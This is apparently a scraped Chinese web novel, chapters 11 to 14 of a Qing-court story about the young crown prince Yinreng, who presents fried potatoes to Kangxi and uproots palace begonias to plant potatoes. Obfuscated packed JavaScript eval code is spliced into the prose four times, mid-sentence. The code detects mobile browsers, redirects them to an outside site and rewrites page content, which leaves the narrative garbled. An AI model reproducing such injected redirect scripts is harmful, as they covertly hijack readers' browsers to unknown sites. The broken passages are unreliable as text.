胤礽赶忙劝阻：“二姐姐！这、这还未经仔细查验，你怎么就……” “怕什么？”荣宪浑不在意地摆摆手，指了指高三变，“他不是好端端的嘛！” 她一边说，一边眼睛四下扫了一圈，似乎在寻找什么。 胤礽见她这架势，心里顿时升起一股不好的预感。 还没等他开口阻止，荣宪的目光就锁定在胤祉旁边的小碗上。 那是胤祉喝的奶。 她二话不说，端起奶碗，哗啦一下往土豆泥里倒了一点，然后拿勺子搅了搅，又挖了一勺塞进嘴里。 “嗯，这下好多了。”荣宪满意地点点头，脸上露出大快朵颐的笑容，“这味道有点甜，有点香，挺不错。我要拿去给额娘尝尝。” 说完，她端着碗，风风火火地跑了出去，留下胤礽和胤祉大眼瞪小眼。 胤礽彻底傻了眼，喊都来不及： “二姐姐，等等——” □□宪已经跑得没影了。 偏殿内，荣嫔正看着女儿献宝似的端来的“加料”土豆泥，哭笑不得。 在荣宪期待的目光下，她浅尝了一口，那混合了奶香和土豆本味的绵密口感，确实别有一番风味。 而内室里顿时只剩下胤礽和榻上的小豆丁。 胤祉似乎还没反应过来，愣了几秒，才发现自己的奶碗空了，紧接着，“哇” 的一声就哭了出来。 那哭声跟魔音贯耳似的，震得胤礽耳朵嗡嗡响。 “哎哎，你别哭啊！”胤礽顿时手忙脚乱，想去哄又不知从何下手。 他被哭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553984|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑仁疼，脑子里灵光一闪，想起自己包里还有瓶可乐，兴许能哄哄胤祉。 可可乐刚摸出来就被小七紧急制止。 【宝宝不行！可乐对婴儿不好，绝对不能给！】 “那怎么办？他哭得没完了！”胤礽在心里哀嚎。 胤祉的哭声越来越大，像是要把屋顶掀了一样。 【宝宝可以兑换婴儿专用的奶糖，甜味能安抚婴儿情绪。】小七提议道。 “兑换？” 胤礽愣了一下，随即皱起了眉，“那要多少积分？” 他现在也没剩下多少积分，自己都舍不得用。 【只需要2积分哦。】 2积分？胤礽心里一阵肉疼，他辛辛苦苦攒的那点积分，就这么用了实在可惜。 可胤祉的哭声跟催命似的，他一咬牙：“兑！快兑！” 随着他的话音落下，胤礽手里瞬间多了一包奶糖。 包装精致，还带着淡淡的奶香味。 胤礽掰了一小块塞进胤祉嘴里。胤祉尝到甜味，果然不哭了，咂吧着嘴，露出个傻乎乎的笑。 胤礽松了口气，戳了戳胤祉的脸蛋，小声抱怨：“为了你，孤可是大出血了，2个积分啊……” 他觉得自己得收回点利息，便继续戳着胤祉，诱哄道：“小傻子，叫哥哥，快叫哥哥。” “咯……咯……”胤祉发出模糊的音节。 “是哥哥。”胤礽耐心纠正。 然而回应他的，只有胤祉更加灿烂的傻笑和挥舞的小手。 胤礽无奈地叹了口气：“就知道吃糖的小傻子。” 正巧这时，荣嫔拉着荣宪走了进来，见状笑道：“真是有劳太子殿下哄着他了。” 荣宪也吐了吐舌头，对刚刚跑走的行为有些不好意思。 见胤祉已被荣嫔抱在怀里安抚，胤礽便起身告辞。 几人刚出殿门，他在外殿遇见了前来给荣嫔送份例的御膳房总管。 总管一见胤礽，顿时激动得两眼放光，快步上前请安：“奴才参见太子殿下！殿下您给的那土豆，可真是个好东西啊！” 他说起土豆，语气里满是激动，“高公公离开后，奴才试着用油炸了一下，那滋味……啧啧，香酥可口。奴才斗胆，请殿下移步御膳房品鉴！” 胤礽一听，顿时来了兴趣。 他还真没试过炸土豆，不知道是什么味道。 “哦？竟有这般好吃？” 他挑了挑眉，“带孤去御膳房瞧瞧。” 刚进御膳房，一股浓郁的香味就扑面而来，金黄酥脆的炸土豆被盛在白瓷盘里，冒着热气。 总管小心翼翼地端过盘子：“殿下您尝尝，刚炸好的，还热乎着呢。” 胤礽拈起一根放入口中，外皮酥脆，内里绵软，还带着淡淡的盐味，口感确实不错。 他满意地点了点头：“嗯，确实好吃。” 胤礽当即赏赐了总管和高三变：“你们做得不错，赏！。” 想到慈宁宫小花园里的那些土豆，胤礽继续道：“你们一会儿就带人去把剩下的土豆都挖出来，好好保存，以后御膳房可以多研究些土豆的吃法。” “谢太子殿下赏赐！” 总管和高三变连忙躬身谢恩，脸上满是喜色。 胤礽看着眼前这盘香喷喷的炸土豆，心中有了打算。 这么新奇的美味，他自然要第一个呈给阿玛尝尝。 12. 第 12 章 “你们把这些炸土豆装起来。” 胤礽吩咐刚落，御膳房的宫人们很快手脚麻利的把东西装在食盒里。 总管和高三变两人得了吩咐，赶紧退下，继续去挖更多的土豆了。 胤礽踮着脚想去提食盒，却被陈嬷嬷一把拦住。 “殿下，还是让奴才来吧，这食盒沉，仔细累着您。” 陈嬷嬷满脸担忧，视线落在他细弱的胳膊上，总怕这金贵的小主子磕着碰着。 胤礽摇摇头，认真道：“可孤想亲自拿给阿玛吃。” 他总觉得送给康熙的东西若是让旁人代劳，会少了份心意。 陈嬷嬷见他坚持，忙出了个折中主意：“那去的时候奴才帮您提着，等到了殿门外，殿下再亲手拿进去送给万岁爷，这样既不耽误事，也不辜负您的心意，您看行吗？” 她一边说，一边低头看着这个小主子。 胤礽想了想，觉得这样也行。他毕竟还小，路上一耽搁，炸土豆冷了可就不好吃了。 “好，就听嬷嬷的。” 他点点头，同意了。 陈嬷嬷这才松了口气，她身子壮实，一手稳稳抱起胤礽，一手提着食盒，步履匆匆地便往乾清宫方向去。 一行人先到了南书房，不料却扑了个空。平日里这个时辰，康熙多半在此批阅奏折，今日却不见踪影。 胤礽心下微微失望，但也没多想，转头就找着了在门口当值的小太监。 “小柱子，你知道阿玛去哪儿了吗？” 在乾清宫当差的人都清楚，打探皇帝行踪是重罪。康熙御下极严，宫人们无不谨言慎行。 可胤礽不一样，他打小被康熙娇养在身边，感情非同一般。 前些年还在认人的时候，醒来若看不见康熙就哭，宫里人怎么哄都没用。 康熙心疼得不行，特意下了话：但凡太子问起，一律不许隐瞒。 被唤作小柱子的小太监是梁九功新收的徒弟，刚到乾清宫没几天，还不知道这特殊规矩。 他胆子小，见太子突然发问，脸都白了，支支吾吾不敢说。 他低声答道：“回殿下的话，奴才的师傅这会儿在懋勤殿当差呢。” 胤礽多机灵，一听就知道康熙定在懋勤殿，当即让陈嬷嬷转道懋勤殿。 来到懋勤殿门口，就瞧见梁九功正守在门外。 “梁谙达！” 胤礽兴高采烈地唤了一声， 他拍拍陈嬷嬷的胳膊示意她把自己放下，迈着小短腿噔噔噔跑上前。 他仰头问道：“汗阿玛是不是在里面呀？” 梁九功笑着弯腰：“回太子爷的话，皇上是里面在读书呢。奴才这就给您......” 他“进去通报”四个字还没说出口，胤礽已经迫不及待地转身，让陈嬷嬷把那个沉甸甸的食盒递给他。 “不用通报，孤自己进去找汗阿玛。” 他平时见康熙从来不用等，哪还用得着通传？ 说完，小小的人儿拎着和他差不多高的食盒，摇摇晃晃地就往里走。 “太子爷，这……” 梁九功伸出去的手僵在半空。 皇上今儿可不是一个人在里面啊！ 懋勤殿内，书香墨韵弥漫。 康熙端坐于上首的软榻上，手里拿着本书，慢慢翻阅着。 待翻到某一页后，他突然问道：“舜居深山，与木石居，与鹿豕游……这话说的倒是清奇。你们且讲讲，何以圣贤隐于山林，反能为天下君师？” 他的目光扫过下方陪侍在侧的三位近臣——翰林院学士喇沙里、陈廷敬以及侍讲学士张英。 今日的日讲刚结束，君臣几人探讨的正是《孟子·尽心》篇。 喇沙里率先答道：“圣人不以贫贱易其志。舜帝身居深山，心里却装着天下，所以‘居约而志广’。陛下，此乃孟子之意。” 他话音刚落，陈廷敬便不疾不徐得接上：“圣人即便隐居山林，他的德行也足以震动天下。微臣以为，此言或许不单是说舜，也可用来比喻君主的德行。” 他说话一贯温和，却带着一种让人不易反驳的安定力量。康熙闻言抬眼看了他一眼，神色似笑非笑。 一旁的张英笑着摇摇头道：“陈学士此言虽正，但孟子又说‘无为其所不为’，若拘于‘德动天下’，未免又太重‘为’了些。舜帝若真在乎那个名声，当初就不会安心待在深山了。” 康熙被这话引起了兴趣，他低笑一声，目光转向张英。 他淡淡道：“那依卿之见，朕该学谁？” 陈廷敬清咳一声，正要圆场，张英却仍带着那副笑。 他略一拱手，不紧不慢地应道：“陛下，您这个问题，可把臣问住了。” “陛下若学舜，便是有德而不自知；若学尧，便是以天下为心。微臣以为，圣心自有分寸，不学谁也罢。” 康熙抚掌大笑，称赞道：“敦复啊，你这倒是说得不错。” 皇帝又挑了另一句与众人探讨，殿内气氛渐渐缓和下来。 张英跪坐着，视线正好能从一旁瞥到后方的殿门。 他讲着讲着，突然语调慢了下来，眼睛微微眯起看向殿门。 只见高高的门槛边上，竟有一只穿着小靴子的小短腿努力地跨过来。 那腿短得可爱，悬空蹬了几下。 他努力往门内迈，可腿太短，折腾了半天，也只有一只脚跨过门槛，另一只怎么也迈不过来。 张英一时愣住，还没反应过来那是什么。 那小短腿的主人显然不肯放弃，使足了吃奶的劲儿，靠着门槛一番挣扎，终于整个小身子“扑落”一下，像只笨拙又可爱的小猫崽般翻滚了进来。 小家伙没收住力，在地上滚了一圈。 这一下，张英可算看清了，那小团子身上穿的杏黄色小袄。 小家伙人小体轻，没闹出太大动静。 凝神听讲的康熙没注意到这插曲，见张英突然卡壳，便问道：“敦复啊，怎么了？” 张英慌忙收敛心神，继续讲课，可眼角的余光却忍不住追随着那个小家伙。 这般年纪小的幼童，又穿杏黄，想来就是那位被皇帝养在深宫的太子了。 张英心中有趣，他没想到与太子的第一次见面，竟是这么个场景。 小太子摔在地上，第一反应是用小手捂住嘴，生怕发出声音惊动了里面的人。 他似乎没摔疼，只是眉头皱了皱。 随即很快又用手撑着地板，自己晃晃悠悠爬起来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553985|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还煞有介事地拍打着小袄子上沾的灰尘。 拍干净衣服，他又趴回门槛边，脸憋得通红，想把什么东西提过来。 张英这下好奇了，这小太子到底想拎什么东西进来？ 他嘴上讲着课，头却悄悄往那边偏了偏。 这一偏，正好对上喇沙里和陈廷敬同样充满好奇与惊愕的目光。 显然，他们都在偷看这个小太子。 三位大臣迅速交换了一个心照不宣的眼神，皆感哭笑不得，又觉有趣至极。 偏偏就这一小会儿，小太子不知用了什么办法，竟把那东西弄过了门槛。只是东西太重，他走得摇摇晃晃。 张英忍不住“哎”了一声。 这一声让康熙当即皱了眉，面上露出一丝不悦。 他其实早已察觉几位臣子心不在焉，只是没点破，如今张英竟御前失仪，直接出了声。 “咳咳！”康熙重重咳嗽了一声，以示警告。 几乎是同时，那边的胤礽没稳住身形，一屁股坐在了地上。 “哎哟！” 胤礽的哎呦声和康熙的咳嗽声同时响起。 康熙听见这声 “哎哟”，只觉得耳熟得很，他猛地回头，就看见胤礽正毫无形象地坐在地上，小手还揉着屁股。 他提着的东西倒是被护得严严实实。 “太子？” 康熙愕然，随即恍然大悟。 这下他总算明白，方才那几位大臣为什么总往自己身后看了。 感情都是在看自家太子啊。 胤礽听见康熙的声音，抽抽鼻子，声音软糯糯的：“阿玛~” 这一声叫得一波三折，带着点委屈，满是求安慰的意味。 若是平日私下，康熙早就心疼地过去抱起来了。可此刻，康熙却没动，只是又唤了一声他的名字。 “胤礽。” 胤礽见康熙没像往常那样立刻来抱他，心里有点慌。他小嘴一扁，带着哭音：“阿玛，保成要……” 他一边说，一边抬起泪眼朦胧的小脸，后半句“抱抱”却猛地卡在了喉咙里。 眼前不止有康熙，还有三个陌生大臣正目瞪口呆地看着他！ 胤礽小脸瞬间红透了，羞窘得恨不得找个地缝钻进去。他这下也不要康熙抱了，直接手脚并用自己爬起来。 他努力摆出庄重的样子，像模像样地给康熙行了个礼：“儿臣参见汗阿玛。” 小小的一团站在那里，倒有几分太子的模样。 康熙看着他这副又羞又窘的样子，语气缓和下来：“起来吧，过来朕这儿。” 他冲着胤礽招手。胤礽起了身，又要提着食盒晃过去。 康熙刚才没注意到他还提着东西，这会儿见他摇摇晃晃的，忙起身快步走过去牵着他。 待走到座位旁，康熙又带他见过了三位大臣。 胤礽强忍羞意，想着康熙刚刚的介绍，乖乖地向喇沙里、陈廷敬、张英三人问好。 “见过三位大人。” 三人赶忙躬身参见小太子。 康熙越看越爱，一把将他抱起来放到自己腿上，随即吩咐宫人给几位大臣添茶。 胤礽却扭了扭身子，小声抗议：“汗阿玛，儿臣自己一个人可以坐。” 13. 第 13 章 胤礽要面子得很，在外人面前从不肯失了仪态。刚才摔了已经够尴尬了，现在怎么也不肯让康熙抱。 康熙见他这幅倔强摸样，大手在他后背上轻轻拍了一下，低声哄道：“你乖一些。”又转头对三位大臣笑道：“让诸位爱卿见笑了，太子年纪小，坐不住，朕抱着也好让他安分些。” 明明是皇上自己想抱太子，却找了这么个借口。 张英等人哪能看不出来康熙的小把戏，连忙眼观鼻鼻观心，附和道：“太子年幼，万岁爷疼爱是应当的。” 康熙这才问胤礽：“保成，你怎么自己提着东西进来？嬷嬷他们呢？” 胤礽小声解释：“是儿臣不让嬷嬷跟进来的。” “那梁九功呢？”康熙语气微沉，心想这奴才越发不会办事了，不知道拦着点?回头得好好罚他一顿。。 他正想着，无意间扫了眼殿外，只见那奴才正苦哈哈地跪着。 胤礽赶紧替梁九功开脱：“是儿臣让梁谙达在外面候着的。因为……因为我想自己把这东西送给阿玛。” 他下意识用了更亲昵的称呼。 这话果然勾起了康熙的好奇心：“哦？是什么好东西，让朕瞧瞧。” 胤礽看了看几位大臣，又看了看康熙，有些不好意思。 他本来想跟康熙说 “好东西要先给阿玛吃”，可在旁人面前说这话，胤礽总觉得害羞。 康熙瞧出他的扭捏，笑着摸了摸他的头：“无妨，他们都不是外人。太子尽管拿出来就是了。” 得了康熙的鼓励，胤礽这才让随侍的宫人上前打开食盒。 他探头看了看，见炸土豆依旧整齐金黄，并未因方才的颠簸散乱，这才放下心。 当炸土豆被端上来时，康熙和几位大臣都面露疑惑：“这是……？” “汗阿玛，”胤礽礽献宝似的介绍，“这是上午的土豆，御膳房琢磨出来了做法，儿臣方才试过了，味道可好了！就想着第一时间拿来给您尝尝！” 康熙感动极了，保成有了好东西第一时间想到他。 皇帝笑眯眯的，对大臣们炫耀：“诸位爱卿看看，太子年纪虽小，孝心可嘉啊！” 几位大臣自然顺着皇帝的话，将太子好一番夸赞。 “既然太子说好吃，那朕可得好好尝尝。” 康熙拿起一块土豆放进嘴里，外酥里嫩，还带着点咸香，确实好吃。 他又对三位大臣说：“你们也尝尝，今儿也算有口福了。” 待几人都品尝过后，康熙心情愈发愉悦，顺势对讲官们进行赏赐，以示对儒臣的重视。 赏赐完毕，康熙又道：“这剩下的炸土豆，朕也赐予你们，带回去与家人同享吧。” 喇沙里等人连忙在殿内谢恩，随后识趣地退了出去，好让这对父子单独说话。 待大臣们退尽，康熙才捏了捏胤礽的小鼻子，夸道：“朕的保成真有本事，这么快就让御膳房研究出土豆的新吃法了。” 胤礽脸红，其实这些都是御膳房弄得，但他看着康熙高兴的样子，也不想扫兴，便默认了这个夸奖。 “阿玛。” 他他凑近康熙，换回了私下里的叫法，声音软软的。 “嗯？” “其实不止炸土豆，它还有另外一种吃法。” 胤礽眨眨眼，把土豆泥和钟粹宫的事都说了遍。 康熙听了，笑骂：“荣宪这丫头……嘴馋成这样。” 胤礽心里有点担心二姐姐，问道：“阿玛，二姐姐吃了那么多，会不会有事呀？” 康熙安抚他：“放心，你二姐姐就是贪嘴。御膳房既敢呈上来，定是试过无毒熟透了。一会儿朕就派个太医去钟粹宫瞧瞧，保准她没事。” 听到康熙这么说，胤礽这才彻底放下心来。 康熙又拿起一根炸土豆吃了，忽然有些惋惜：“味道确实不错，就是量少了点，朕才吃了几口就没多少了。” 那赏给大臣的几碟，现在想来有点心疼了。 胤礽也感慨：“是呀，要是有好多好多土豆就好啦。这样就能天天吃到了。” 他舔舔嘴唇，眼睛里满是憧憬。 康熙瞧着他贪恋炸土豆的小模样，忍俊不禁：“这炸土豆是油炸的，吃多了腻味，还容易胀肚子，你这小肚皮可经不起折腾，往后可不能贪嘴。” 胤礽被他点破了心思，连忙乖乖点头：“保成知道啦。” 他嘴上应得乖巧，心里却嘀咕：明明阿玛自己方才也吃得香，偏偏还不许人多尝两口。 康熙自然不知小儿腹诽，倒是被胤礽先前那句感叹勾出了思绪。 “这土豆瞧着做法简单，若只在宫里当个新鲜玩意儿倒是可惜了。若是能推广开，让百姓们多种些，荒年时或许能顶大用。” 他这话说得随意，胤礽却听得认真。 小家伙心里忽然冒出个模糊的念头，要是他能帮阿玛种出好多土豆，阿玛会不会更高兴？ 这念头一起，便在他心中悄然生根。 晚膳时分，太监来报，说钟粹宫那边派人来回话，太医已经给二格格诊过脉，二格格只是吃多了有些积食，并无大碍，太医已经开了消食的方子。 胤礽彻底松了口气，脸上露出了笑容。 只是他满脑子都是土豆的事，连平日里最爱吃的菜都顾不上细品。 见他晚膳都用得心不在焉，康熙看得直皱眉。 待宫人伺候着洗漱完毕，胤礽便迫不及待地钻进了锦被里，他还记得白日小七说的要带他学习的事情。 “阿玛，晚安！” 他兴高采烈得和康熙说了晚安，闭上眼睛，只盼着赶紧睡着。 睡着后，胤礽意识一沉，再睁眼时，他已踏进一个奇异的空间。 脚下是泛着莹白光芒的地面，踩上去软绵绵的。他好奇地原地踩了两下，仰起小脸，望着空中突然浮现的光屏。 小七温和声音适时响起： 【这里的时间与外界相对静止，所以宝宝可以安心学习、看动画片，不会影响到正常的休息。系统会根据幼儿发展计划为你合理安排内容，完全不会占用你的睡眠哦。】 光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553986|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏上随即浮现出清晰的学习列表，从简单的识字、数学启蒙，到自然与科学……内容五花八门，看得胤礽眼花缭乱。 他伸出小手指，毫不犹豫地点了“数学启蒙”。理由很简单：他不想以后算积分时那样怎么都算不清。 课程进行得飞快，胤礽学得津津有味，只觉得那些数字与图形格外有趣。一节课结束，他竟有些意犹未尽。 “小七，”他仰头问，“孤不能继续学了吗？” 【宝宝，学习不能拔苗助长，要先好好消化知识才行。】 “好吧。”胤礽嘴上应着，心里却觉得这些实在简单。不过小七既这么说了，他也只好乖乖听话。 接下来是动画时间。今天播放的是《蓝猫淘气三千问》，讲的是小主人公们通过亲手做实验，弄明白了种子是怎么发芽的。 动画片里的小主角一边给豆子浇水，一边说：“娘亲说得对，果然要亲手种过，才能真正明白！” 胤礽看着动画里的小豆苗破土而出，眼睛一亮，忽然想到了自己白天见过的土豆。 “小七小七！”他踮着脚，指着屏幕喊道，“土豆是不是也要这样亲手种下去，才能知道它是怎么长出来的？” 小七的声音带着笑意： 【宝宝真聪明，都会活学活用了。这就是“实践出真知”呢。】 “实践出真知……” 胤礽小声重复着这五个字，脑海里忽然闪过一个念头。 对啊，他为什么不亲手试一试呢？就像动画里的小朋友那样，亲手把土豆种下去，亲眼看着它发芽、长大，这不就是最好的“实践”吗？ 这个想法让他兴奋起来。要是他能种出好多好多土豆，既能帮汗阿玛分忧，又能让宫里宫外的人都尝到…… 到时候，阿玛一定会把他抱得高高的，笑着夸他：“保成果然是阿玛的得力帮手！” 想到这儿，他毫不犹豫地关掉了动画。 小七明显愣了一下。毕竟从前带过的孩子，十个有九个要闹着多看一集，就连胤礽自己前几天也软磨硬泡地想延长时间…… 胤礽却一脸认真，解释道：“小七之前不是规定一天一集吗？孤今天的观看时间已经到了。而且孤想留着精神，明天去实践。” 小七顿时发出一连串嘤嘤呜鸣，简直要暴风哭泣——这么自觉的宝宝，真是统生罕见！ 这一夜，胤礽睡得格外香甜，梦里全是金灿灿的土豆堆成了小山。 翌日。 待他精神饱满地睡醒后，便雄赳赳气昂昂地开始了今天的计划。 一想到今日要亲手种土豆，他迫不及待地唤来高三变，让他去取昨日挖的那些土豆来。 不多时，高三变便背着一个布袋子回来了。胤礽兴冲冲地迎上前去，满心期待地看着他打开袋子。 可等高三变将土豆倒出来，胤礽却呆住了。 东暖阁的地上堆了一小堆土豆，水珠挂在表皮上，洗得干干净净。胤礽一个个数着土豆，脸上的笑容却慢慢垮了下来。 这土豆怎么比他昨天早上看到的少了一大半？ 14.第 14 章 他抬头看向高三变，语气里带着不解：“怎么就这些？孤昨天看到有好多的……” 高三变赶紧解释：“回太子爷，昨儿您从御膳房走后，各宫主子听闻土豆泥味道好，都遣人来讨要了些去尝鲜，所以就剩这些了。” 他怕太子不高兴，又赶紧补充，“不过这些都洗得干干净净的，连泥点都没有，您放心用！” 胤礽“哦”了一声，也没生气，伸手就去拿土豆。 指尖刚碰到土豆，就摸到个鼓鼓的小芽。他愣了一下，把土豆举到眼前，眯着眼睛仔细看。 这小芽尖尖的，还带着点嫩白。 “小七，这是什么呀？” 他在心里问道。 小七：【宝宝快放手！！】 胤礽被它一吓，赶紧把土豆丢在地上。 【这是土豆的芽，也是土豆的种子。不过要注意，有芽的土豆不能吃，里面有会让人中毒的东西，一定要分开来！” 胤礽恍然大悟，赶紧让宫人先带他洗了手。然后让高三变把带芽的土豆挑出来，放在旁边铺好的干净帕子上。 这些带芽的正好用来种，剩下的没芽的，还能让御膳房做新吃法，一举两得。 可种在哪儿呢？ 乌库妈妈宫里刚添了新的花，要是拔了，乌库妈妈该不高兴了；御花园的花是给大家看的，拔了肯定要挨骂…… 胤礽托着下巴，在暖阁里转来转去。宫人们都屏息静气，不敢打扰太子爷的思绪。 他想来想去，终于想到了个好地方。 花房！ 花房里有那么多花盆，还有专门养花的人，土肯定也好用，种土豆正好！ 想到解决办法，胤礽顿时眉开眼笑。 “高三变，和孤去花房。”他带着高三变和几颗发芽的土豆，兴冲冲就往花房跑。 花房的太监们见太子爷来了，赶紧放下手里的洒水壶，齐刷刷跪下行礼： “太子爷吉祥！今儿想看什么花？奴才这就给您搬过来，还是要给您摘两朵插瓶？” “不用搬。”胤礽摆摆手，径直走到一排开得正艳的海棠花盆前，指着里面粉嫩嫩的花，“你们把这些花拔了，孤要种东西。” 这话一出，花房里瞬间安静下来。为首的小太监僵在原地，手都不知道往哪儿放。 这海棠花可是佟贵妃特意让人送来养的，说是等开得更艳了要送到御书房给万岁爷赏玩。 还有几盆是万岁爷喜欢的，哪敢随便拔？ 他慌慌张张地往后退，想找师傅求助，结果差点撞到身后的花盆架。 花房师傅闻讯赶来时，胤礽正蹲在花盆边，小手已经揪住了一片海棠花瓣。 老太监吓得赶紧上前：“太子爷，这花刚开得正好，拔了多可惜啊！” 见胤礽手还在跃跃欲试的想要拔，他打圆场：“要不奴才给您找些空花盆？新花盆干净，您还能挑自己喜欢的颜色。” “孤不要空花盆。” 胤礽毫不犹豫地拒绝。 他早就观察过了，这些花盆里的土是松的，肯定比新土好，种土豆能长好。 老太监没办法，只好朝旁边的小太监使了个眼色，让他们赶紧动手。 小太监们手忙脚乱地把海棠花从盆里挖出来，又小心翼翼地用帕子包好。 看着娇艳的海棠被连根拔起，花房太监们个个心惊胆战，却又不敢违抗太子的命令，只能暗自祈祷这祸事别牵连到自己头上。 胤礽背着小手，指挥着太监们把小芽一颗颗埋进土里，小手还凑过去帮着扒拉了两下土，指尖沾了泥也不在意。 “高三变，” 胤礽扭头，小脸上满是严肃，“你日日替孤守着这些土豆。早上浇水，中午看看有没有虫子，晚上再松松土，如果出一点错，孤就唯你是问。” 高三变赶紧躬身应下：“奴才遵旨！一定把太子爷的土豆照顾得好好的，绝不出岔子！” 这时，捧着海棠的小太监才悄声问：“师傅......这些花儿如何处置？” 老太监看着那娇艳的海棠，眼皮一跳，无声地叹了口气。 他吩咐小太监：“你们把佟贵妃宫里的和太皇太后宫里的分开包，贴上标签，赶紧送回去，就说太子爷体恤各宫主子，让把开得好的花分去赏玩。” 老太监把话说的滴水不漏。 胤礽听了这话，觉得自己不能把最爱的阿玛给忘了，如果阿玛知道就他没收到的话，肯定会吃醋的。 这样想着，他转头去瞧那些被拔出来的海棠花，觉得扔了好像有点可惜，干脆让人在里面挑了几朵开得最艳的，合在一块抱给康熙。 乾清宫里，康熙看着梁九功捧进来的海棠，眉头微挑：“这花……朕瞧着倒有几分眼熟。” 尤其是那花瓣的形态和颜色，像极了佟贵妃平日最宝贝的那几株。 梁九功乐呵呵道：“万岁爷，太子殿下特意吩咐了，说他从花房选了最新鲜的，要献给您的。” 康熙闻言，脸上顿时漾开笑意，心头那点疑惑被喜悦冲散。 他站起身，兴致勃勃道：“走，去慈宁宫，让皇玛嬷也瞧瞧保成的孝心。” 到了慈宁宫，康熙将花献给太皇太后，果然哄得老人家眉开眼笑。 正说着话，苏麻喇姑又引着个小太监进来，手里也捧着一盆几乎一模一样的海棠，说是太子殿下送给太皇太后的。 祖孙俩看着案几上并排放置、宛如孪生兄弟的两盆花，气氛顿时有些微妙。 梁九功赶紧凑到康熙耳边，低声提醒：“万岁爷，这海棠花好像是前儿您夸过的，说颜色正，衬御书房的景致，佟贵妃特意让人在花房好生养着的。” 康熙脸上的笑容僵住了，心里咯噔一下，瞬间明白了什么。 他立刻起身：“皇玛嬷，孙儿忽然想起还有些事要问保成，先去花房看看。” 康熙脚步匆匆，心中已猜到七八分，只在心里暗暗祈祷事情不要是他想的那样。 来到花房时，就见胤礽正蹲在花盆边，小手扒着土，嘴里还小声嘟囔：“快长呀，快长呀，长快点就能让阿玛看到了。” 阳光落在他身上，把他的小影子拉得短短的，脸颊上还沾了块泥，像只刚滚过草地的小猫。 他身前的高三变原本在浇水，一见康熙来了，慌忙跪倒在地上。 胤礽回过头，看见康熙面色不明地站在门口，忍不住咽了口唾沫，刚才的得意劲儿瞬间烟消云散，只剩下做坏事被抓包的心虚。 他赶紧站起来，蹭到康熙身边。 康熙看着眼前的一片狼藉，自己心爱的海棠花被拔的到处都是，他深吸一口气，只觉得额头青筋在突突猛跳。 康熙尽量用平静的语气问：“保成，你告诉阿玛，为何要把这些好端端的花都拔了？” 胤礽仰起小脸，观察着康熙的神色，见他似乎没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558155|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻发火的意思，胆子稍稍大了些，解释道：“这花儿种着也就是看看，又不能吃。可是土豆种出来，能做好多好吃的！而且……而且不是阿玛您说，想要好多好多土豆，想让百姓们也种吗？保成想帮您！” 他声音原本小小的，结果他越说越觉得自己很有道理，声音也渐渐大了起来，颇有些理直气壮的感觉。 康熙：“......” 他是说过想要推广土豆，但没让小家伙把他的花给拔了啊！ 这时，太皇太后也扶着苏麻喇的手缓步走了过来。 她瞧见太子那小花猫似的脸蛋和紧张兮兮的小模样，又看看那片已被“改造”的土地，眼中闪过一丝了然和笑意。 她朝胤礽招招手：“来，哀家的乖保成，到乌库妈妈这儿来。” 待胤礽依偎到她身边，太皇太后掏出帕子轻轻给他擦了擦，随后对着康熙笑道：“皇帝，你瞧瞧他这满脸的泥，倒像是从灶膛里钻出来的小狸猫。” 她将帕子递给苏麻喇姑，摸摸胤礽的头：“小孩子家，爱玩爱动是天性。你八岁登基前，不也偷偷刨过哀家半亩芍药地，非要种你那宝贝葫芦？夜里举着烛台蹲在地头等发芽，让苏麻喇姑好找。” 说着眼风扫向康熙，“如今倒来管束你儿子？” 康熙被说得耳根微热，却仍绷着脸：“皇玛嬷，这怎么成！太子乃是国本，岂能真像个农夫似的在地里刨食？传出去成何体统！” 一想到这要是让那些汉臣御史知道了，那些老家伙还不知要上多少劝谏的折子。 “让他了解农事，又不是让他真的去当农夫，” 